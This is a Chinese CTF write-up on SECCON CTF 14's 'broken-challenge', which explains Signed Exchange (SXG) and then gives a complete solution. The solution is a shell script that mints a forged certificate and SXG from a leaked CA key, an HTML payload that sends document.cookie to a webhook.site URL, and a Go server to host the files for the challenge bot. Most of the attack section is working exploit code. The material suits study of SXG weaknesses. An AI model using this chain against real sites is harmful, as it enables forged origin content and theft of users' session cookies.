SECCON CTF 14 Quals-broken-challenge
broken-challenge
自己看了做不出来,借鉴大佬的wp学习了。
考点:sxg窃取cookie
SXG机制
SXG 全名是Signed Exchange,是一种 让内容可以被安全地“转载”或“预加载”的技术。
1
| SXG 使用缓存来预提取和传送已由来源进行加密签名的内容。这有助于加快从引荐来源网站进行跨源导航的速度,同时确保网页保持不变,并正确归因于其来源。
|
SXG 文件封装在二进制编码文件中,该文件包含两个主要组件:HTTP 交换和涵盖该交换的签名。HTTP 交换由请求网址、内容协商信息和 HTTP 响应组成。解码后的SXG长下面这样:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| format version: 1b3 request: method: GET uri: https://example.org/ headers: response: status: 200 headers: Cache-Control: max-age=604800 Digest: mi-sha256-03=kcwVP6aOwYmA/j9JbUU0GbuiZdnjaBVB/1ag6miNUMY= Expires: Mon, 24 Aug 2020 16:08:24 GMT Content-Type: text/html; charset=UTF-8 Content-Encoding: mi-sha256-03 Date: Mon, 17 Aug 2020 16:08:24 GMT Vary: Accept-Encoding signature: label;cert-sha256=<em>ViFgi0WfQ+NotPJf8PBo2T5dEuZ13NdZefPybXq/HhE=</em>; cert-url="https://test.web.app/ViFgi0WfQ-NotPJf8PBo2T5dEuZ13NdZefPybXq_HhE"; date=1597680503;expires=1598285303;integrity="digest/mi-sha256-03";sig=<em>MEUCIQD5VqojZ1ujXXQaBt1CPKgJxuJTvFlIGLgkyNkC6d7LdAIgQUQ8lC4eaoxBjcVNKLrbS9kRMoCHKG67MweqNXy6wJg=</em>; validity-url="https://example.org/webpkg/validity" header integrity: sha256-Gl9bFHnNvHppKsv+bFEZwlYbbJ4vyf4MnaMMvTitTGQ=</p>
<p>The exchange has a valid signature. payload [1256 bytes]:</p> <pre class="prettyprint"><code><title>SXG example</title> <meta charset="utf-8"> <meta http-equiv="Content-type" content="text/html; charset=utf-8"> <style type="text/css"> body { background-color: #f0f0f2; margin: 0; padding: 0; } </style> </code></pre> <div> <h1>Hello</h1> </div>
<p>
|
工作流程
1 2 3 4 5 6 7 8 9 10 11
| 发布者(如 example.com)生成一个特殊格式的 .sxg 文件。这个文件里包含了: 完整的网页内容(HTML、CSS、JS 等)。 一个数字签名(这就是“SXG签名”),用于证明这个内容确实来自 example.com,且在签名后没有被篡改。 签名的有效期(例如 7 天)。 分发者(如 Google)获取这个 .sxg 文件,并存储在自己的 CDN 上。 用户点击搜索结果时,浏览器从 Google 的 CDN 快速加载 .sxg 文件。
浏览器收到文件后: 验证签名是否有效(确保证书合法、内容未篡改)。 验证签名中的网址是否与内容声称的来源一致。 如果全部通过,浏览器就会像直接从 example.com 加载一样渲染页面,并在地址栏显示 https://example.com/article。
|
我个人把这个sxg文件理解为一种”缓存文件”,浏览器通过加载这个sxg文件,可以增快加载速度,这样提升速度。
回到题目
题目源码index.js定义了一个bot路由 hint路由会把cert.key回显给我们
查看conf.js 这里定义了flag在cookie里 这里有一个关键点就是只有当我们的domain是hack.the.planet.seccon时候 才会把cookie设置为我们的flag。
那么域名来自于hack.the.planet.seccon,所以这里我们就需要伪造sxg文件来达到这个目的从而拿到flag
伪造sxg文件
需要cert.key和cert.crt
写一个1.sh文件
1
| ./1.sh https://your_ip:8080/
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
| #!/bin/sh
URL=$1
rm -rf server.key cert.csr cert.pem cert.cbor cert.oscp index.txt exploit.sxg
openssl ecparam -name prime256v1 -genkey -out server.key
openssl req -new -sha256 -key server.key -out cert.csr \ -subj "/CN=hack.the.planet.seccon"
openssl x509 -req -days 90 -in cert.csr \ -CA cert.crt -CAkey cert.key -CAcreateserial \ -out cert.pem \ -extfile <(echo -e "1.3.6.1.4.1.11129.2.1.22 = ASN1:NULL\nsubjectAltName=DNS:hack.the.planet.seccon")
SERIAL=$(openssl x509 -in cert.pem -serial -noout | cut -d= -f2)
echo -e "V\t301231235959Z\t\t${SERIAL}\tunknown\t/CN=hack.the.planet.seccon" > index.txt
openssl ocsp -index index.txt \ -rsigner cert.crt -rkey cert.key \ -CA cert.crt \ -issuer cert.crt \ -serial "0x${SERIAL}" \ -respout cert.ocsp \ -ndays 7
gen-certurl -pem cert.pem -ocsp cert.ocsp > cert.cbor
gen-signedexchange \ -uri https://hack.the.planet.seccon/index.html \ -content index.html \ -certificate cert.pem \ -privateKey server.key \ -certUrl $URL/cert.cbor \ -validityUrl https://hack.the.planet.seccon/validity \ -o exploit.sxg
|
index.html
1 2 3 4 5 6 7 8 9
| <html> <body> <script> window.location = "https://webhook.site/8a43c6eb-66fb-46d1-9101-20fb28129c85?cookie=" + encodeURIComponent(document.cookie); </script> </body> </html>
|
起服务这样写
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| package main
import ( "log" "net/http" "path/filepath" "strings" )
func main() { fs := http.FileServer(http.Dir("."))
http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) { ext := strings.ToLower(filepath.Ext(r.URL.Path)) switch ext { case ".sxg": w.Header().Set("Content-Type", "application/signed-exchange;v=b3") case ".cbor": w.Header().Set("Content-Type", "application/cert-chain+cbor") }
w.Header().Set("X-Content-Type-Options", "nosniff") w.Header().Set("Cache-Control", "no-store")
fs.ServeHTTP(w, r) })
log.Println("Serving on :8080") if err := http.ListenAndServe(":8080", nil); err != nil { log.Fatal(err) } }
|
bot那写
1
| https://your_ip:8080/expolit.sxg
|
webhook接收到 cookie即可看到flag
还需要注意的点就是 https才能加载sxg